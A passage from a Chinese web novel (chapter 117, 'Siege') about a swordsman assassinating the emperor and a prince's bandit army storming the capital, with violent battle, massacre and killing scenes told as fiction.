纪无涯找准时机躲避,但此时他胸口发闷,一口淤血吐出。 今晚内力用太急了,导致他现在真气乱窜,邀月毒隐隐又开始发作。 只得速战速决。 安庆帝在地上艰难地朝外爬去,外头的雨下得越发急了。 狂风呼啸,吹得雨歪歪斜斜,从窗户里落了进来。 门被忽然吹开,雨肆虐地窜进来,落在人的脸上。 安庆帝瞧见外头的景象,源源不断赶来的侍卫在一声声惨叫后倒在地上,似有铜墙铁壁挡在外头,让支援不得靠近一步。 尸横遍野,血水混着雨水蜿蜒在地砖缝上。 等安庆帝再转身之际,只看见剩下三名暗卫都倒在了地上。 纪无涯白发染血,浓稠的血顺着剑身滴落在地。 “那个逆子给了你什么好处!我都给你!” 纪无涯不说说,安庆帝颤颤巍巍继续道:“你看上去不过才十七八岁,二十一年前你尚未出生,何苦来掺和这些事!” 纪无涯不想再听他废话,一剑封喉,跨过他的尸首,朝着外面走去,去找雪。 去找李之夭,然后告诉她,他一直想告诉她的事情。 风雨浩大,呼啸低沉。 裴承泽坐在书房中看书,这两日他眉眼总是跳得厉害,烦躁地将书丢在案上。 “来人。” 守在门口的侍卫推门进来听他吩咐,“最近可有何不正常之事?” “回主子,没有,城中以及黑甲卫一切正常。” “那璃王府呢?” “自从璃王遭遇刺杀后,伤势恢复至今一切正常,据说璃王一直把自己关在房中,不曾外出。” 裴承泽摆摆手让他退下,但人刚走没多久,他心中大骇,一切正常才是不正常。 另一名侍卫跌跌撞撞跑进来,“主子,出事了!” “裴淮带兵攻城,皇上遭遇刺杀,薨了!” 117. 攻城 第117章 裴承泽站起来,“你说裴淮他叛变?” 皱眉沉思不出片刻,他已拿定注意,让回来报信的侍卫进宫,“你进宫去找父皇,我立即带黑甲卫守住城门,围巾之际只有青城外驻守的一万兵马才能解救燃眉之急。” 侍卫立马领命去办,裴承泽找来家中管家,“你进宫去找我母妃,让她务必藏好,事平之前千万不要现身,让家中下人不要出去,守好家门。” 安排好后面的事宜,他立即带上黑甲卫的令牌去调遣黑甲卫,赶到城门时,青城的大门即将快被打开,他拉弓搭箭射死正推门的叛军。 冲在前面的黑甲卫顶上去,将城门关起来。 外头的裴淮见状喊话:“五哥,你还是不要负隅顽抗了,乖乖束手就擒,你一千黑甲卫,如何抵我一万人马!” 裴淮身后骑马的头子纷纷嘲笑起来,“兄弟们,这一趟真是值啊,今夜若是打了胜仗,日后咱们也能做做城里的大官了!” “说的是!璃王殿下你就不要再跟他废话了,直接开干吧,兄弟们早就等不及了!” 曾经好几个山寨的土匪头子相顾哈哈大笑起来,这段时间除了招收买到的人和马,裴淮能在最短时间起势的最大原因,就是收编了北唐几乎一半的土匪流寇。 距离裴淮最近的土匪不放心的补充道:“璃王殿下,我们山寨不求达官显贵,你只要履行承诺,答应给我们剩下的一半银子一分可都不能少。” “放心,自是少不了你们的。” 他拔出长剑,挥出颇有气势的一剑,“攻城!” 冲车由五六个光膀大汉推来,七八个人七手八脚不断撞击着城门,云梯搭上城墙,想要趁机攀爬上墙头,裴承泽立马喊人:“掩护,把他们捅下去!” 每架梯子的尽头,都守了两个人,掩护把人捅下去,或者另一人将人杀死推下去。 “往下倒油!” 后面的将士立马将备好的火油从城墙上往下倒。 “点火!” 火把点燃,又从城墙上丢下去,火攀倒火油,瞬间烧成一片。 地下哀嚎一片,叫苦不迭,正是士气大涨时候。 裴承泽本想一鼓作气,谁知天有不测风云,顿时下起雨来。 雨水倾盆而下,把火灭了不少。 裴淮笑起来,“真是天助我也!” “继续搭云梯,攻城!” 双方交战到最后,裴淮手下几乎全是土匪,他们从前打家劫舍惯了,虽有伤亡,比起将来能得到的好处,让他们心里还是憋着一股劲,争先恐后地想往前冲。 裴承泽用以前黑甲卫,拖住对方攻城的速度,却迟迟等不到安庆帝的救援。 一抹黄色的信号弹从皇宫的方向升起,在天上炸开,裴承泽抹了一把面上的雨水,抬头仰望。 这是宫中出了大事才会用的讯号。 而裴淮看到讯号笑起来,“我就是那天命之人,老天都在帮我!” “五哥,没想到吧,皇宫父皇那边出了事,我也没想到,攻城,攻城,投石车准备!” 石头在投石车的作用下,飞到半空,砸在人堆里。 裴承泽不断躲避攻击,他拼死守卫城墙,为后方争取时间。 “即便你不造反,父皇也会把皇位传给你,名正言顺的位置你不要,却想顶着乱臣贼子的名号。” “谁要他的施舍!” 裴淮大喝一声,“他不过是想要名听话懂事的傀儡和棋子,我若应下,清清就会惨遭他的毒手,若不应,清清还是逃不掉,我能有什么办法,是他逼我的!这一切都是他逼我的!” “别把自己的无能推倒旁人身上,你若真能护住一个人,就不会有这样的想法,真为你感到悲哀。” “裴承泽,我再问你一句,你退还是不退?” 裴承泽再次拉弓搭箭,对准裴淮,铿锵坚定道:“誓死不退,尔等乱臣贼子,休得猖狂。” 双方再度打了起来,战鼓喧天,吵醒了熟睡中的百姓。 他们不敢相信,明明还安稳的局面,不到一夜的时间,就变成今天这种地步。 流箭飞射,火光冲天,百姓藏在家中,不敢出来一步。 苏月清推开窗,沅露的声音从墙头上传来,“你走不走?若是应了,从今往后我可不再欠你了。” 守在她院子周围的侍卫全都被沅露打倒在地,就连前院的人都被捆起来。 “这段时间,我想起了很多事。” 沅露神色微怔,听着苏月清继续往下说,“说是想起来许多事,倒不如说我跟做了梦一样,梦里的局势跟今日差不多,只不过是我和裴淮在抵御外头的裴执三皇子叛乱,我们联手保住了家园,梦里的我和裴淮还收下了大魏的土地,一统天下,风光无限,世人称颂的帝后,我杀了李之夭,纪无涯也死在了跟大魏的战争中,只是梦醒了,如今的局势却是裴淮成了想要谋反夺权的乱臣贼子,五皇子却都站在了正义的一方,梦里梦外,变了好多事,好多人,包括我。” 苏月清低头整理着自己的包裹,“我甚至原谅了裴淮对我家做的事,如今我苏家,是非对错,无法评判,他想叛乱,就是错,但出发点是为国为民,便是对,从前我选择原谅,是因为不管什么原因,都不是起兵的理由,现在我却觉得,我爹做的不错。” 她现在才发现,她在璃王府的东西很少,少到一个包袱就能全部装下,许多裴淮买来送她的礼物,苏月清一样没动,只带了自己的那部分。 “我要离开,但不是现在,沅露,带我去找裴淮。” 夜雨连天。 火势渐渐扩大,连雨都浇不灭,城里城外混乱不堪。 轰的一声,紧闭的城门被撞开。 裴淮:“不准杀害百姓。” 然而话还没说完,强盗土匪头子瞬间坐不住了,举起手中大刀,神色贪婪。 里面繁华富庶,高楼彩灯。 他们宛如从地域出来的恶鬼,涌向人间。 露出他们的獠牙,撕碎美好的画卷。 恶魔的屠刀捅向了无辜的黎明。 裴淮见形势失控,想拦都拦不住,青鸢飞身上前想去阻挡,在重重围攻下,土匪强盗们早已六亲不认,烧杀抢掠,无恶不作。 青鸢最终死在了自己人的刀下。 她睁眼目光望向裴淮所在的方向,张了张嘴,似乎想要说什么,最终没了声息,冰冷的雨打在脸上。 裴淮彻底慌了。 裴承泽不在理会裴淮,而是带着仅存的五十人在城里厮杀匪寇。 他派去传 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“这里是大魏的大魏司,你们若敢擅闯或伤人,休怪我无情,赶紧滚!” 他手中长剑嗡嗡作响,有眼力见的人立马不敢惹他,此人一身杀气,面似修罗,往那里一站,就跟活阎王一样。 强盗打起退堂鼓,裴淮的声音阻止了他们想撤退的心思。 “这里北唐,大魏距离这里十万八千里,就算死在这里,大魏皇帝难不成还能来灭了我们不成?” 裴淮看着秦立山,“秦大统领,久闻大名。” 他装模作样地拱手。 见有人来给他们吃了定心丸,土匪们瞬间歇了想撤退的心思,裴淮的话在理,天高皇帝远,这里是北唐,不是他们大魏。 瞬间蜂拥围上来,顿时又是一场交锋。 而裴淮自己则是带着一部分原先属于自己的人,趁乱溜进了院子。 他双目怨恨,一路直闯庭院,踹开紧闭的房门。 李之夭坐在里面,吓得顿时将手中的书扔了出去。 “李之夭,我说了,我迟早有一天会杀了你。” 裴淮一把掐住李之夭的脖子,手上青筋暴起,手稍微一用力,她整个人就被举离了地面。 李之夭捶打着他的手,不停挣扎,脚胡乱瞪着地面,想找到一个着力的地点。 她喉咙艰难发出声音,想要说话,可什么都说不出来。 秦立山赶来:“公主!” 裴淮见状,不再掐着李之夭的脖子,将她甩在地上,一剑刺穿了她的胸口。 李之夭倒在地上,胸口的血窟窿汩汩往外外冒着血,秦立山愤怒到极致,举剑直奔裴淮。 两人纠缠打在一起,刀剑碰撞。 裴淮的下属趁机一把火点燃屋子,一把火从里面开始点燃。 外头夜雨渐渐有了停歇的迹象,风一吹,城中混杂着遍地的血腥味儿。 纪无涯从宫里带着雪赶到南门,飞鸿和踏雪果不其然都等在门口接应。 他们刚出去,却除了他们需要乘骑的马之外,还多出了一辆马车。